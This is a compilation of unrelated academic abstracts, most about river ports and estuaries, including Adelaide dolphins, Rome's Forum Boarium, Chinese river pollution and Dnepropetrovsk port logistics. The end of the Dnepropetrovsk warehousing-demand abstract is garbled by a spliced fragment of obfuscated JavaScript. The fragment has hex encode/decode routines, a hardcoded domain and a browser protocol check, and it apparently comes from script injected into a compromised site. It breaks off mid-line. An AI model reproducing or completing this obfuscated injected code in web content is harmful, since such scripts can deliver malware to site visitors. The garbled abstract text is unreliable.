A long‐term study of bottlenose dolphins (Tursiops aduncus) in an Australian industrial estuary: Increased sightings associated with environmental improvements

AbstractDelphinids are long‐lived, have delayed maturity and low reproductive rates which necessitate long‐term monitoring programs to detect changes in abundance. Between 1990 and 2013, an observational study of bottlenose dolphins (Tursiops aduncus) was conducted in the Port River estuary (Adelaide, Australia). The estuary has received pollution from industry, sewage plants and storm water. In recent years, pollution entering the system has reduced and the establishment of the Adelaide Dolphin Sanctuary (ADS) increased dolphin protection from harassment and deliberate attacks. Nevertheless, the estuary remains a busy port. Over a 24 yr period, we conducted boat‐based surveys (n = 735) for dolphin groups (n = 3,634) along a predetermined route in the Inner and Outer Estuary of Adelaide's Port River estuary. It is our conjecture that major infrastructure changes and pollution abatement have yielded a more favorable marine environment for dolphins, resulting in an estimated 6% annual increase in sightings, from a near absence of sightings in the 1980s. Increased dolphin numbers were likely the result of improved water quality, augmented by surveillance and education arising from the proclamation of the ADS. This study highlights the importance of long‐term monitoring and has implications for dolphin conservation in heavily impacted urban areas and their protection via protected areas.

Floodplain occupation and landscape modification in early Rome

The site of Rome in central Italy provided many opportunities for the development of a city: access to natural resources, defensible terrain, a ford in the Tiber River, among others. In addition to these advantages, the environment and landscape also presented numerous challenges to early inhabitants. This ecological dichotomy is especially observable in the Forum Boarium, a region situated in the Tiber's floodplain at the base of the Capitoline and Palatine Hills. By the Archaic period (7th–6th centuries BCE), this vital gateway for trade and communication was operating as a river port, equipped with a harbor temple. Periodic flooding of the Tiber River, however, consistently jeopardized these commercial and cult pursuits in the Forum Boarium. As a result, this region became the focus of early endeavors at landscape modification, which helped to protect and facilitate the growth of urban infrastructure in the floodplain.In order to explore geoarchaeological conditions in the floodplain, a multi-disciplinary research project was undertaken in the Forum Boarium between 2013 and 2015. This paper presents preliminary results from this recent investigation, including evidence on the natural topography of the river valley, floods and sedimentation, as well as building techniques in a flood-prone region in Archaic and Early Republican Rome. It is argued that, in response to varied and prolonged environmental stress, landscape modification and continuous management became important prerequisites to Rome's urbanization process; in this way, ecological pressures directly influenced the development of the city's built landscape. This research not only represents a significant step towards a paleoenvironmental reconstruction of early Rome, but also demonstrates the advantages of coring survey in urban areas where access to deeply buried archaeological and geological stratigraphy is restricted.

Core Competences of River Ports: Case Study of Pearl River Delta

ABSTRACT With the sound development of ASEAN, more and more attention is paid to hub ports that support cargo and information flows in this marine region. However there are few studies on river and feeder ports. To fill this gap, this study takes a river port as an example to illustrate how to utilize the Balanced Scorecard for evaluating the Core Competences of river and feeder ports. Core competences are helpful for terminal operators when focusing on core strategies, core business and core products / services development for resource limitation. The business pattern which regards core competences as a foundation is beneficial for terminal operators to achieve sustainable competitive advantages. A questionnaire survey has been conducted. The Cronbach alpha method confirms testing reliability of the questionnaire. Study results reveal that two core competences are “capabilities of valuing employee and organization improvement” and “national and municipal government support” for a river port.

Ten-year change of total phosphorous pollution in the Min River, an upstream tributary of the Three Gorges Reservoir

Understanding the spatial and temporal variation of nutrient concentrations, loads and their distribution from upstream tributaries is important for management of large lakes and reservoirs. The Min River is an important tributary of the upper reaches of the Three Gorges Reservoir (TGR) that contributes about 20 % of the inflow water from the Yangtze River to the TGR. It is also one of the main phosphorous sources of the TGR. In this study, total phosphorous (TP) concentrations and hydrological data from 2004 through 2014 for 13 sites in Min River and its tributaries were analyzed. The result suggested that the concentration of TP was comparatively lower in the upstream of the Min River and Dadu River, but tended to increase in recent years. Additionally, the TP pollution status in the Min River basin has gradually evolved from local pollution to whole-basin pollution. The concentration of TP in the Min River main stream increased, decreased and then increased again along the waterway. Pollution from nonpoint sources was the main contribution in the upstream portion and Outer River basin of Min River. Pollution from point sources was more serious than that from nonpoint sources in Chengdu, Meishan and Leshan segment. Specifically, TP pollution in Min River of Chengdu segment (Huanglongxi, Inner River) was primarily affected by urbanization, while Leshan segment (Yuebo) was mainly affected by glyphosate production. Controlling pollution from nonpoint sources and improving the sewage collection rate to reduce TP loads will be the primary task in the upstream portion and Outer River basin. Point source pollution controlling will still be the primary task associated with water quality management in the Inner River (Chengdu segment) and the downstream (Leshan segment) basin of Min River for the foreseeable future. Pollution from both point sources and nonpoint sources should be cared in the other area of Min River basin.

Porti fluviali e ponti in età medievale. Il Po e l’area padana

During the Middle Ages the Po Valley garantees the continuity of trade and the progress of the economy of northern Italy. The sources tell us that many river ports and docks were useful to the manors of monasteries and churches, holders of public rights. These sources also allow to identify some significant trends: the progressive expansion of a modular system of waterways, even if the navigation is impossible today (see the case of Bologna), and the growing involvement of the neighboring towns into the river system (Pavia, Piacenza, Cremona, Mantova and so on). Outside the cities, the castles and the parish churches on the river ports attest that the ports attract settlements and territorial powers (Canossa). Furthermore, the coincidence of ports and ponti (i.e. ferries for river crossings) promotes the vitality of the roads; the stretch of the river between Cremona and Parma, for example, is an important meeting point between Po river and the road of Monte Bardone, which was the favourite road for the L...

PASSENGER-CARGO CAPACITY OF INLAND WATERWAYS OF RUSSIAN EUROPEAN AND TRANS-URALS NORTH

[For the English abstract and full text of the article please see the attached PDF-File (English version follows Russian version)].ABSTRACT The article assesses current state of inland waterways transport in European and Trans-Urals parts of the Russian North. Basing on a scheme of waterways an analysis of traffic volumes dynamics in the region during 1995-2014 period is offered. The article argues that inland water transport is the only mode of transportation allowing residents of certain areas in navigation period to reach regional and district centers, having no alternative in passenger transportation. The ways to increase passenger-cargo structural framework of inland water transport are identified, possible guidelines of reconstruction programs are highlighted regarding river ports, water tourism, cruise ships and routes, logistics technologies. Keywords: inland water transport, inland waterway vessels, Russian North, Trans-Urals, the Northern Sea Route, transportation.

Evaluating the solution performance of IP and CP for berth allocation with time-varying water depth

This paper considers the berth allocation problem (BAP) with time-varying water depth at a tidal river port. Both integer programming (IP) and constraint programming (CP) models are developed. Numerical experiments find that CP tends to be superior to IP when the feasible domain is small (e.g. dynamic vessel arrivals), when the restriction of the objective towards decision variables is loose (e.g. makespan, departure delay), or when the size of IP models is too large due to fine time resolution. Meanwhile, CP’s incapability of proving optimality can be compensated by post-optimization with IP, by using a simple CP/IP hybrid procedure.

Envisioning Rome’s Prehistoric River Harbor: An Interim Report from the Forum Boarium

AbstractFollowing a brief discussion of the literature and intellectual history of Rome’s river port, this article presents preliminary results from a mechanized coring survey of the Forum Boarium valley. Conducted in 2015, this survey produced empirical evidence on prehistoric human activity Rome’s floodplain and acquired substantial data on the paleolandscape of the region, including the shifting position of the Tiber River and the discovery of lacustrine deposits in the valley. Additionally, consideration is given to the advantages and limitations posed by the natural landscape during the origins of settlement and early urban development at Rome.

BARCAS Y BARCAJE EN MEDELLÍN (C. 1449 – C. 1511).

Medellin had a river port and one/two riverboats on the Guadiana. Some owners had their own boats, but only for your personal use. The town council leased the rent of boats to boatmen who managed the business. The boat toll rose moderately during the period studied, certainly conditioned by the rise in the price of boats in a context of increasing scarcity of wood. Avenues gave occasion to frequent abuses.

Model of multimodal transport node functioning

To increase the efficiency of transport nodes functioning taking into account the logistics management principles it is necessary to optimize the structure and capacity of transport nodes' production resources, and to develop such a method for calculating of joint schedules for vehicles and freight hubs of the transport node, which takes into account stochastic nature of the parameters of material and informational flows. For solving the problems of optimal management of transport nodes functioning processes it is proposed to use the specific efficiency indicator, which is determined as a ratio of total costs of clients servicing in transport node to the costs of production resources used while servicing. According to the used approach for formalization of the transport node internal processes, development of the simulation model was implemented on the base of object-oriented programming principles. TransportNode.dll class library has been used as basic tool for simulations. The model implemented on the base of the library allows to take into account stochastic nature of demand and probabilistic nature of technological processes in transport nodes. Some results of numeric simulations for the loading area “Amur-Gavan” of Dnipropetrovsk River Port have been described in the paper.

STUDY PARAMETERS OF DEMAND ON WAREHOUSING AND CARGO HANDLING SERVICES OF TRANSPORT NODE

Purpose. The research purpose is to investigate parameters of demand on warehousing and cargo processing services in a transport node. Within the framework of the research a transport node of Dnepropetrovsk River Port is considered, where technological processes of three types of transport (river, railroad and road) are implemented. Methodology. Research was held on the base of grain elevator, which operated on the first berth of the “Amur-Havan” load area of Dnepropetrovsk River Port. Studies of demand parameters for inbound and outbound material flows were held for loading areas (unloading areas of railroad and road transport and loading area of river transport as well) in the navigation period in 2014. Testing hypotheses about the distribution of the parameters of requests flow was carried out with the use of Pearson test. Findings. Carried out studies of parameters of demand on services of transport node showed, that the shipment volume for requests was normally distributed variable, and interval between requests in a flow had exponential distribution regardless of the transport mode in requests flow. Originality. In the research its further development an approach obtained, that investigates parameters of transport demand as parameters of a flow of requests on transport services. This approach differs from existing ones with estimation of parameters of demand on warehousing and cargo processing in transport node on the base of a couple of stochastic values – the shipment volume and interval between requests in a flow. Practical value. Obtained results could be used for simulations of demand while solving of a wide range of practical problems in management of multimodal transport nodes functioning.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "tstt.diit.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Integracija morskih i riječnih luka – izazov hrvatskog prometnog sustava za 21. stoljeće

This paper discusses the indicators of development possibilities for sea ports of national importance which are opened for public traffic: Rijeka, Ploče, Zadar, Split and Dubrovnik, as well as for inland water ports: Vukovar, Osijek, Slavonski Brod and Sisak. Development of traffic and logistic integration processes have been proposed for Croatian sea and river ports, based upon development factors analyses. Croatian sea ports Rijeka, Ploče and inland water cargo ports Osijek, Vukovar, Slavonski Brod and Sisak have been analysed as delivery/forwarding points (nodes), taking into account the directions of goods flows, the participation in the traffic of goods, and all other relevant indicators. The integrated and coordinated approach to the ports and other subjects in the logistic chain redirects the traffic from roads to railways and inland waterways as energy efficient and environmentally – friendly forms of transportation, increases business rationality and optimal organisation users and transportation entities.

La ciudad de «Dertosa» durante el Alto Imperio. La ocupación del área suburbial del barranco del Rastre

The study of the evolution of urban planning of the ancient city of Tortosa is one of the main projects of the Grup de Recerca Seminari de Protohistoria i Arqueologia of the Rovira i Virgili University. The reconstruction of the urban topography of the Iberian and Roman city is the foremost goal of the project. Starting from the interpretation of the archaeological work carried out in the city, especially the interventions led by our team in Tortosa during the last ten years, we offer a first approach to the reality of the Roman occupation of ancient D ertosa . It is a a proposal of urban reconstruction of a section of the city focused on the Rastre ravine, an extramural area that was part of a southern suburb of the city, probably linked to the operations that took place at the river port. We have seen as the built spaces were adapted to the ground by building staggered platforms, and thus overcoming the morphological constraints imposed by a complex topography.

The Revealed Competitiveness of Major Ports in the East Asian Region: An Additive Market Share Analysis

ABSTRACT In the single cargo market, the ordinary market share analysis method has been the representative tool for revealed competitiveness analysis. This paper develops and employs an applied market share index called the additive market share (AMS). Data are collected from 15 major container ports for the 1998-2013 period. In comparison to the results of an ordinary market share analysis, the highest AMS is observed for the Bohai Rim port cluster from 2008, not for the Yangtze River cluster or the Pearl River cluster. There are substitutable relationships between Yangtze River and non-Chinese ports and between Pearl River and Bohai Rim ports from 2001. Finally, there is an internal competition at Pearl River and Yangtze River ports, whereas Bohai Rim and non-Chinese ports show internally complementary relationships.

Adelaide's South Road Superway

The A$825 million (£428 million) South Road Superway project will deliver a 4·8 km long expressway standard corridor from Adelaide's Port River Expressway to Regency Road and is part of a larger programme to upgrade the whole of South Road to a high-standard, high-speed arterial link. The project features a 2·8 km long elevated roadway carrying up to eight lanes of traffic above the existing South Road. The brief for the project required the elevated roadway to have a 9 m clearance under the superstructure, minimum spans of 50 m and to provide a high standard of landscape and urban design finish. The elevated roadway viaduct consists of a match cast segmental superstructure constructed by the balanced cantilever method with multiple variations in segment cross-section to cater for the complex geometry of the alignment. Superstructure spans range from 50 m to 83 m and are constructed monolithically with elegant Y-shaped piers. Deck articulation is provided by mid-span steel needle beam expansion joints, which eliminate the requirement for large bearings under the deck. This paper provides an overview of the design and construction of the viaduct, focusing on features of both the architecture and construction methodology that led to unique design challenges.

Threatened plant species in the river ports of Central Europe: a potential for nature conservation

Industrialized areas represent a special group of urbanized areas, but sufficient attention has not been given to them concerning plant species richness and its importance for biodiversity conservation. These sites are considered the main drivers of biological invasions and biotic homogenization on a global scale, but the question of how and to what degree they contribute to biodiversity has yet to be raised. Data for 62 river ports (16 German, 26 Czech, 7 Hungarian, 4 Slovak, and 9 Austrian) on two important Central European waterways (the Elbe-Vltava and Danube waterways) were gathered for 40 years. In total, 1 240 plant species were found. Of these, 371 were classified as threatened and protected, nearly one third of the total number of species found in all of the studied Elbe, Vltava, and Danube ports. Significant differences in the proportion of threatened species in ports and cities were not found. More threatened species were found in the Danube ports than in the other ports, but their numbers fluctuated depending on the size of the port and the region (country). The results showed that the ports must be regarded as special types of species-rich industrial areas; thus, they should not be considered to be only sources of spreading invasive alien species. When planning port development, uniformity and vegetation management that is too intensive should be avoided. Extensively managed open areas and habitat diversity should be maintained.

Determination of the Transit Fee for Mongla-Ghasiakhali Canal: Savings from the Daily Running Cost of Ships

MG (Mongla-Ghasiakhali) Canal, a man-made canal that connects the southwestern part of Bangladesh, is one of the industrial zones where the second largest seaport, the Mongla seaport, and two inland river ports are situated. The Government of Bangladesh maintained the canal since it was opening in 1973. From 2010, the maintenance excavation of the canal was postponed because the rate of siltation was higher than the excavation works allocated for it. Paucity of budget was the main reason as the return from the canal was too low to recover the minimum part of the budget. The objective of the present study is to determine the minimum tool rate based on the savings by the vessels operator who will use the canal. At present, almost all types of goods are transported through the waterway canal inside the largest single block of the tidal halophytic mangrove forest in the world, Sundarban (a United Nations heritage) and that causes serious environmental problems and threats to the biodiversity of the forest. Therefore, utilization of the MG Canal will not only be an alternative waterway network for transporting of goods but also reduce the voyage length. To determine the minimum toll rate, several government agencies of Bangladesh and operators have been contacted to collect the data both quantitatively and qualitatively. Real-time data has been used for calculating the minimum standard tool rate.

Statistical analysis of vessel waiting time and lockage time on the Upper Mississippi River

The Upper Mississippi River (UMR) is an important artery for transporting export-destined grains from the north central United States to lower Mississippi River ports. The increased traffic on the UMR system has led to increases in congestion, delays at locks and longer vessel proceeding times. We analyze systematically the arrival, waiting and lockage time of vessels at the locks of UMR. We construct linear and duration models of the lockage process and show the importance of modeling the delay time and lockage time as two separate processes. We find that real time traffic intensities are the most statistically significant factors in predicting delays at the locks. We also propose a non-parametric model of traffic intensity, which allows us to use the proposed lockage model for prediction purposes. This model can be useful to relieve congestion and increase the carrying capacity in the UMR system, and provide insight into the traffic and lock operating policies.

Informal Trade, Cross Border Networks and Contraband of Asian Textiles from Brazzaville to Kinshasa

A river port organizes trafficking between two border cities, Brazzaville and Kinshasa, situated on either side of the Congo River in Central Africa. In a span of some 10 years, it has become a notorious center of trafficking in which a vast system of small-scale contraband—known to all, but both visible and hidden—has been organized for the import of Asian printed textiles to Kinshasa via Brazzaville. Through an analysis of fraudulent practices in a river port supervised by various state services supposedly responsible for enforcing the law, this paper looks at how the actors working or circulating in the border post establish together the rules for the illegal passage of goods.
